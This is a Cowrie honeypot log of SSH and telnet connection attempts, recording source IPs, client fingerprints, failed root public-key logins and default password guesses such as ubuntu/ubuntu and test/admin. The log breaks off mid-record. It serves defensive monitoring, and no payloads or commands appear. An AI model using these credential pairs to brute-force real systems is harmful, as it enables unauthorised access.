{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:f9:99:6d:95:fd:64:43:6a:7c:2a:31:7f:7b:f1:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClek7bA9sZN5L0yYpYGRywpdTy7huICg2UdtcC+ALl7YE2AU1ruOvKtpQyI8m08FJNLlXYljvnjBRyX9RXnZ0LdMoPhZ0AkeaoDRB8roch58N6qA8frj6LavJ8V4uMbNdrxf393LubT77O/RJrFhEMA015OzmYtJ3MDD3Dj1xpdHxfPkI9xLE6/HhGLhRhKN46fC699S7g1tayyC73s8sfxa/uRzOVyYD534+SKlIyGue+8ImLM2/7PeOzfy8pTwkT13WLKhFG/svL23zq63F72O6P83e1fYa/3v4aJqCFp86WV7SG6xZ4S2a97wl3SNjdAM0isFmlTXZpNSsF5UtCrNJ0r9PybVEO0MnZ+efR3Kv12bO91SuD38N8ykc4jncNnuLenI0UUDieefHdpf3Tf+RhHh3iAh3+AwlqEBkt7jKry06QdtteAEL+z3M/EYFTob6aVCm+1VwNQQjpzpEr7A/PL7HzlBljoaG4equ06FQtcq5wD78ta2M8Wl5mwijYfaxVh1QlBmac1IgUis/Q+6zcymMo1HPbslSr4WKxXSkk44+FpY5ugn5q6RTf1O/S3TKIlMSi1DrRPs4vc2LaUajxB9DaxoPA7DSC/p+qyXi7O7HEIA7mYhGKNCJBAkmLqrzsCPXiFHfZFh5oKdgzxNVsIskpk4s3qE8UWQx+Gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.169119Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:1e:ca:c9:cd:e3:cd:05:b6:43:02:b3:9b:2a:6b:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdWCxO5x0wU2TlkD8vM2tJLgd5ZOCH9jrZj6kxrhCyAadGgb8YQXiCBIXt1EEDkB6Q0k44HRJi8hbaY/Cc7uOSHjvAIZoURwMUJqocet37C2d3J17dIbXJ4D7D/J+tcmnnJa1fsiY5aggutSx44vjsoTTSYfB/x6hTQ8Hi1fEbbf3tKCm1sh5eVK+b1F6st04ZbCxAFPpUvEugJQvfjIsPTAEC8Y7LIivgxNNIbbBsySMpB0VJ64VJCDXJ7ISF1V24vSbkXjslS2qB8QW33qQZn27RT1/4hegQ8YNzTDSW27Qc5p1hpgcUwkxxvJIqnzpgESvY9Ojbp3kaioExZPyMy3I5tTumWrHe3tbUQfEezXdq/oYoDKsqKrcuVMnzObJwslfb5dvvPZnJYl7oe2xDsAoVvTbeJktNlCTO+JyV3by/8Xd3n35Ee3uSe8TyvHy4sDJUOOFHERD2LVKGerAuswcC96oj8T2zr/xrMwqXgFq6RnXNF3NigM10ZjwxDY7b6j6o52z/f9hDKzZSj29Z9tr8Xdhb+mLI9xES8QJ9iCmGEDuOXzXWnT54HCOPCSOdgkjVqKje6dPOy1i/0hPdJgujctU5nq8WNAp/FnY7BFQ4RZ+iBYROCfA8fPfKiuNHh3aBG4UEmcQjnkGJxkSrgmM7eMHB51E++ClIgf0/Bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:1e:ca:c9:cd:e3:cd:05:b6:43:02:b3:9b:2a:6b:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.175856Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:1e:ca:c9:cd:e3:cd:05:b6:43:02:b3:9b:2a:6b:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdWCxO5x0wU2TlkD8vM2tJLgd5ZOCH9jrZj6kxrhCyAadGgb8YQXiCBIXt1EEDkB6Q0k44HRJi8hbaY/Cc7uOSHjvAIZoURwMUJqocet37C2d3J17dIbXJ4D7D/J+tcmnnJa1fsiY5aggutSx44vjsoTTSYfB/x6hTQ8Hi1fEbbf3tKCm1sh5eVK+b1F6st04ZbCxAFPpUvEugJQvfjIsPTAEC8Y7LIivgxNNIbbBsySMpB0VJ64VJCDXJ7ISF1V24vSbkXjslS2qB8QW33qQZn27RT1/4hegQ8YNzTDSW27Qc5p1hpgcUwkxxvJIqnzpgESvY9Ojbp3kaioExZPyMy3I5tTumWrHe3tbUQfEezXdq/oYoDKsqKrcuVMnzObJwslfb5dvvPZnJYl7oe2xDsAoVvTbeJktNlCTO+JyV3by/8Xd3n35Ee3uSe8TyvHy4sDJUOOFHERD2LVKGerAuswcC96oj8T2zr/xrMwqXgFq6RnXNF3NigM10ZjwxDY7b6j6o52z/f9hDKzZSj29Z9tr8Xdhb+mLI9xES8QJ9iCmGEDuOXzXWnT54HCOPCSOdgkjVqKje6dPOy1i/0hPdJgujctU5nq8WNAp/FnY7BFQ4RZ+iBYROCfA8fPfKiuNHh3aBG4UEmcQjnkGJxkSrgmM7eMHB51E++ClIgf0/Bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.179415Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:4a:ac:77:18:fc:87:14:9e:16:69:51:48:5c:64:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOW4jFw4v3VgQv36FQg5S/GvPw782qptY3hoHzbAu4WPmin9Wlkign4K4ljk1bRcrGvyBBOlYl8uo7pgT+BSsLLSY2vdow+GPqvw9OztRP3fzQkrcNNbWIbr/c4yB/bjWCdLQsVjTIN9PhFVbD30qdYiMGLTaT68wbth5Na+crmGWdhLN8/L2wCLpB4/QgWdoXbI+Mf4+F/oiik+tGKiJfORvEld9X1JdGYkk6tZbTsgs4abmJtkpe906j9vAmocc0fdxBye5id7Al0BBpAsqRCyj5h8ATEa2gRv1reQKjdIEdy2+gUfQjNQyztuHElTq4mIfQjbu4IFMeW2ou4qVlSSAh1gYEJeV5lmRAbdB6vlPn+aJIlJRYC5E5Xty5+f4kpawcFnDa26XBTVqXCwX1ptlgl54EJag2Zc1PhnC45zUAVKhHH2re1Ii/QKbwjG/fpVREG1x32bBzIrmp+Mkk9KzMk4a7dhFFnlEn//p0spdbekG4yuMajZcPw2tL23uIoViOIiRz2OY6RZhjwQzd3TXh44uylZDQ8q56lC4kSfG3pUgzswejpr4R9PsylnD75phzVP80uXKbPzBCIyT7DPQigLYr1CR1+wTmpejIFS1eh+YTFOFmXQ+K52EcJfmNrHU32+zZ8Th07dTcdMCjUOK6Zq7gs9Q5Qiraf7RLKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:4a:ac:77:18:fc:87:14:9e:16:69:51:48:5c:64:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.186246Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:4a:ac:77:18:fc:87:14:9e:16:69:51:48:5c:64:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOW4jFw4v3VgQv36FQg5S/GvPw782qptY3hoHzbAu4WPmin9Wlkign4K4ljk1bRcrGvyBBOlYl8uo7pgT+BSsLLSY2vdow+GPqvw9OztRP3fzQkrcNNbWIbr/c4yB/bjWCdLQsVjTIN9PhFVbD30qdYiMGLTaT68wbth5Na+crmGWdhLN8/L2wCLpB4/QgWdoXbI+Mf4+F/oiik+tGKiJfORvEld9X1JdGYkk6tZbTsgs4abmJtkpe906j9vAmocc0fdxBye5id7Al0BBpAsqRCyj5h8ATEa2gRv1reQKjdIEdy2+gUfQjNQyztuHElTq4mIfQjbu4IFMeW2ou4qVlSSAh1gYEJeV5lmRAbdB6vlPn+aJIlJRYC5E5Xty5+f4kpawcFnDa26XBTVqXCwX1ptlgl54EJag2Zc1PhnC45zUAVKhHH2re1Ii/QKbwjG/fpVREG1x32bBzIrmp+Mkk9KzMk4a7dhFFnlEn//p0spdbekG4yuMajZcPw2tL23uIoViOIiRz2OY6RZhjwQzd3TXh44uylZDQ8q56lC4kSfG3pUgzswejpr4R9PsylnD75phzVP80uXKbPzBCIyT7DPQigLYr1CR1+wTmpejIFS1eh+YTFOFmXQ+K52EcJfmNrHU32+zZ8Th07dTcdMCjUOK6Zq7gs9Q5Qiraf7RLKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.189526Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:e7:e7:39:5a:89:bf:85:14:4a:26:77:bd:cb:39:dc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExnB/7ehXZ2S8L6pgUrs5d1qUZuJuSWN57uNSCIl7Ii","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d4:e7:e7:39:5a:89:bf:85:14:4a:26:77:bd:cb:39:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.198037Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:e7:e7:39:5a:89:bf:85:14:4a:26:77:bd:cb:39:dc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExnB/7ehXZ2S8L6pgUrs5d1qUZuJuSWN57uNSCIl7Ii","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.201228Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.208238Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48396,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5dfe87c92d8","protocol":"ssh","message":"New connection: 193.32.162.145:48396 (10.17.0.5:22) [session: d5dfe87c92d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:55.849164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:55.854388Z","src_ip":"193.32.162.145","session":"d5dfe87c92d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:55.954369Z","src_ip":"193.32.162.145","session":"d5dfe87c92d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:56.266638Z","src_ip":"193.32.162.145","session":"d5dfe87c92d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:57.377995Z","src_ip":"193.32.162.145","session":"d5dfe87c92d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.94145965576172,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:49:21.895824Z","src_ip":"212.55.149.117","session":"56e415c01423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.70193266868591,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:49:24.624972Z","src_ip":"212.55.149.117","session":"d6da16c96593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":8948,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c46a50450bc","protocol":"telnet","message":"New connection: 212.55.149.117:8948 (10.17.0.5:23) [session: 1c46a50450bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:50:40.058908Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":56460,"dst_ip":"159.203.135.109","dst_port":22,"session":"39da67ae0988","protocol":"ssh","message":"New connection: 193.24.211.100:56460 (159.203.135.109:22) [session: 39da67ae0988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:50:43.659540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:50:43.664113Z","src_ip":"193.24.211.100","session":"39da67ae0988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:50:43.786109Z","src_ip":"193.24.211.100","session":"39da67ae0988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"admin","message":"login attempt [test/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:50:44.299287Z","src_ip":"193.24.211.100","session":"39da67ae0988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:50:45.426962Z","src_ip":"193.24.211.100","session":"39da67ae0988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":30717,"dst_ip":"10.17.0.5","dst_port":23,"session":"df60d0bba0cd","protocol":"telnet","message":"New connection: 212.55.149.117:30717 (10.17.0.5:23) [session: df60d0bba0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:50:52.024288Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":32355,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d0ea9008d0","protocol":"telnet","message":"New connection: 212.55.149.117:32355 (10.17.0.5:23) [session: d0d0ea9008d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:50:55.284583Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39764,"dst_ip":"10.17.0.5","dst_port":22,"session":"91693746247b","protocol":"ssh","message":"New connection: 193.32.162.145:39764 (10.17.0.5:22) [session: 91693746247b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:09.960701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:09.966818Z","src_ip":"193.32.162.145","session":"91693746247b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:10.066994Z","src_ip":"193.32.162.145","session":"91693746247b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:10.367771Z","src_ip":"193.32.162.145","session":"91693746247b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:11.472568Z","src_ip":"193.32.162.145","session":"91693746247b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":2290,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0943d8aa73b","protocol":"telnet","message":"New connection: 212.55.149.117:2290 (10.17.0.5:23) [session: e0943d8aa73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:24.377847Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":52849,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7af79698772","protocol":"telnet","message":"New connection: 212.55.149.117:52849 (10.17.0.5:23) [session: c7af79698772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:29.512582Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34872,"dst_ip":"10.17.0.5","dst_port":22,"session":"a86c0d358219","protocol":"ssh","message":"New connection: 103.15.226.202:34872 (10.17.0.5:22) [session: a86c0d358219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:31.885587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:31.890372Z","src_ip":"103.15.226.202","session":"a86c0d358219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:32.135522Z","src_ip":"103.15.226.202","session":"a86c0d358219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.64462995529175,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:51:54.929077Z","src_ip":"212.55.149.117","session":"d0d0ea9008d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.601834535598755,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:52:25.979689Z","src_ip":"212.55.149.117","session":"e0943d8aa73b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.42573666572571,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:52:38.484513Z","src_ip":"212.55.149.117","session":"1c46a50450bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00942492485046,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:52:52.033563Z","src_ip":"212.55.149.117","session":"df60d0bba0cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":16688,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecec80dd8303","protocol":"ssh","message":"New connection: 176.65.132.190:16688 (10.17.0.5:22) [session: ecec80dd8303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:02.761211Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:02.767452Z","src_ip":"176.65.132.190","session":"ecec80dd8303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59388,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b411773977","protocol":"ssh","message":"New connection: 193.32.162.145:59388 (10.17.0.5:22) [session: a8b411773977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:15.199816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:53:15.205197Z","src_ip":"193.32.162.145","session":"a8b411773977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],